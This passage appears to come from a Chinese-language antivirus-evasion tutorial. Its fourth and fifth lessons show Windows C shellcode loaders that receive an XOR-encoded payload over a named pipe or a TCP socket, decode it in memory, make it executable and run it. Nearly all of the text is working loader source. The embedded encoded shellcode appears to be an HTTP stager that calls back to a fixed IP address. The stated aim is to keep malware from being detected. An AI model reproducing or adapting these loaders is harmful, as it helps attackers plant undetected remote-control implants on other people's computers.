xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a" ;shellcode_size = sizeof (buf); for (int i = 0 ;i<shellcode_size; i++){ Sleep(50 ); _InterlockedXor8(buf+i,10 ); } char * shellcode = (char *)VirtualAlloc( NULL , shellcode_size, MEM_COMMIT, PAGE_READWRITE ); CopyMemory(shellcode,buf,shellcode_size); VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect); Sleep(2000 ); hThread = CreateThread( NULL , NULL , (LPTHREAD_START_ROUTINE)shellcode, NULL , NULL , &dwThreadId ); WaitForSingleObject(hThread,INFINITE); return 0 ; }
第四课 分离免杀 分离免杀:将恶意代码放置在程序本身之外的一种加载方式。
前面三课主要围绕着程序本身的加载,后面的课程将围绕网络、数据共享的方式去展开
管道 何为管道:管道是通过网络来完成进程间的通信,它屏蔽了底层的网络协议细节。
通常与Pipe相关的API都与管道有关,包括Cobaltstrike External C2也是用的管道进行进程通信,一般管道是一个公开的内核对象,所有进程都可以访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #include <Windows.h> #include <stdio.h> #include <intrin.h> #define BUFF_SIZE 1024 char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a" ;PTCHAR ptsPipeName = TEXT("\.\pipe\BadCodeTest" ); BOOL RecvShellcode (VOID) { HANDLE hPipeClient; DWORD dwWritten; DWORD dwShellcodeSize = sizeof (buf); WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER); hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL ,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL ); if (hPipeClient == INVALID_HANDLE_VALUE){ printf ("[+]Can't Open Pipe , Error : %d \n" ,GetLastError()); return FALSE; } WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL ); if (dwWritten == dwShellcodeSize){ CloseHandle(hPipeClient); printf ("[+]Send Success ! Shellcode : %d Bytes\n" ,dwShellcodeSize); return TRUE; } CloseHandle(hPipeClient); return FALSE; } int wmain (int argc, TCHAR * argv[]) { HANDLE hPipe; DWORD dwError; CHAR szBuffer[BUFF_SIZE]; DWORD dwLen; PCHAR pszShellcode = NULL ; DWORD dwOldProtect; HANDLE hThread; DWORD dwThreadId; hPipe = CreateNamedPipe( ptsPipeName, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE| PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFF_SIZE, BUFF_SIZE, 0 , NULL ); if (hPipe == INVALID_HANDLE_VALUE){ dwError = GetLastError(); printf ("[-]Create Pipe Error : %d \n" ,dwError); return dwError; } CreateThread(NULL ,NULL ,(LPTHREAD_START_ROUTINE)RecvShellcode,NULL ,NULL ,NULL ); if (ConnectNamedPipe(hPipe,NULL ) > 0 ){ printf ("[+]Client Connected...\n" ); ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL ); printf ("[+]Get DATA Length : %d \n" ,dwLen); pszShellcode = (PCHAR)VirtualAlloc(NULL ,dwLen,MEM_COMMIT,PAGE_READWRITE); CopyMemory(pszShellcode,szBuffer,dwLen); for (DWORD i = 0 ;i< dwLen; i++){ Sleep(50 ); _InterlockedXor8(pszShellcode+i,10 ); } VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect); hThread = CreateThread( NULL , NULL , (LPTHREAD_START_ROUTINE)pszShellcode, NULL , NULL , &dwThreadId ); WaitForSingleObject(hThread,INFINITE); } return 0 ; }
通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。
第五课 真正意义的分离 将上一课的代码分离开编译,然后通过管道传输,让进程通信。
BadCodeWithPipe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 #include <Windows.h> #include <stdio.h> #include <intrin.h> #define BUFF_SIZE 1024 PTCHAR ptsPipeName = TEXT("\.\pipe\BadCodeTest" ); int wmain (int argc, TCHAR * argv[]) { HANDLE hPipe; DWORD dwError; CHAR szBuffer[BUFF_SIZE]; DWORD dwLen; PCHAR pszShellcode = NULL ; DWORD dwOldProtect; HANDLE hThread; DWORD dwThreadId; hPipe = CreateNamedPipe( ptsPipeName, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE| PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, BUFF_SIZE, BUFF_SIZE, 0 , NULL ); if (hPipe == INVALID_HANDLE_VALUE){ dwError = GetLastError(); printf ("[-]Create Pipe Error : %d \n" ,dwError); return dwError; } if (ConnectNamedPipe(hPipe,NULL ) > 0 ){ printf ("[+]Client Connected...\n" ); ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL ); printf ("[+]Get DATA Length : %d \n" ,dwLen); pszShellcode = (PCHAR)VirtualAlloc(NULL ,dwLen,MEM_COMMIT,PAGE_READWRITE); CopyMemory(pszShellcode,szBuffer,dwLen); for (DWORD i = 0 ;i< dwLen; i++){ Sleep(50 ); _InterlockedXor8(pszShellcode+i,10 ); } VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect); hThread = CreateThread( NULL , NULL , (LPTHREAD_START_ROUTINE)pszShellcode, NULL , NULL , &dwThreadId ); WaitForSingleObject(hThread,INFINITE); } return 0 ; }
BadCodePipeClient
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <Windows.h> #include <stdio.h> #include <intrin.h> #define BUFF_SIZE 1024 char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a" ;PTCHAR ptsPipeName = TEXT("\.\pipe\BadCodeTest" ); BOOL RecvShellcode (VOID) { HANDLE hPipeClient; DWORD dwWritten; DWORD dwShellcodeSize = sizeof (buf); WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER); hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL ,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL ); if (hPipeClient == INVALID_HANDLE_VALUE){ printf ("[+]Can't Open Pipe , Error : %d \n" ,GetLastError()); return FALSE; } WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL ); if (dwWritten == dwShellcodeSize){ CloseHandle(hPipeClient); printf ("[+]Send Success ! Shellcode : %d Bytes\n" ,dwShellcodeSize); return TRUE; } CloseHandle(hPipeClient); return FALSE; } int wmain (int argc, TCHAR * argv[]) { RecvShellcode(); return 0 ; }
网络套接字(socket) 通过建立一个客户端和服务端,进行Shellcode的收发,类似于Java中的反序列化。
Server:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 #include <WinSock2.h> #include <Windows.h> #include <stdio.h> #include <intrin.h> #pragma comment(lib,"ws2_32.lib" ) BOOL RunCode (CHAR * code,DWORD dwCodeLen) { HANDLE hThread; DWORD dwOldProtect; DWORD dwThreadId; PCHAR pszShellcode = (PCHAR)VirtualAlloc(NULL ,dwCodeLen,MEM_COMMIT,PAGE_READWRITE); CopyMemory(pszShellcode,code,dwCodeLen); for (DWORD i = 0 ;i< dwCodeLen; i++){ _InterlockedXor8(pszShellcode+i,10 ); } VirtualProtect(pszShellcode,dwCodeLen,PAGE_EXECUTE,&dwOldProtect); hThread = CreateThread( NULL , NULL , (LPTHREAD_START_ROUTINE)pszShellcode, NULL , NULL , &dwThreadId ); WaitForSingleObject(hThread,INFINITE); return TRUE; } int wmain (int argc, TCHAR argv[]) { CHAR buf[801 ]; DWORD dwError; WORD sockVersion = MAKEWORD(2 , 2 ); WSADATA wsaData; SOCKET socks; SOCKET sClient; struct sockaddr_in s_client ; INT nAddrLen = sizeof (s_client); SHORT sListenPort = 8888 ; struct sockaddr_in sin ; if (WSAStartup(sockVersion, &wsaData) != 0 ) { dwError = GetLastError(); printf ("[*]WSAStarup Error : %d \n" ,dwError); return dwError; } socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (socks == INVALID_SOCKET) { dwError = GetLastError(); printf ("[*]Socket Error : %d \n" ,dwError); return dwError; } sin .sin_family = AF_INET; sin .sin_port = htons(sListenPort); sin .sin_addr.S_un.S_addr = INADDR_ANY; if (bind(socks,(struct sockaddr *)&sin ,sizeof (sin )) == SOCKET_ERROR ) { dwError = GetLastError(); printf ("[*]Bind Error : %d \n" ,dwError); return dwError; } if (listen (socks, 5 ) == SOCKET_ERROR) { dwError = GetLastError(); printf ("[*]Listen Error : %d \n" ,dwError); return dwError; } sClient = accept(socks, (SOCKADDR *)&s_client, &nAddrLen); int ret = recv(sClient,buf,sizeof (buf),0 ); if (ret > 0 ) { printf ("[+]Recv %d-Bytes \n" ,ret); closesocket(sClient); closesocket(socks); } WSACleanup(); RunCode(buf,sizeof (buf)); return 0 ; }
Client:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 #include <WinSock2.h> #include <Windows.h> #include <stdio.h> #include <intrin.h> #pragma comment(lib,"ws2_32.lib" ) char buf[] = "\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3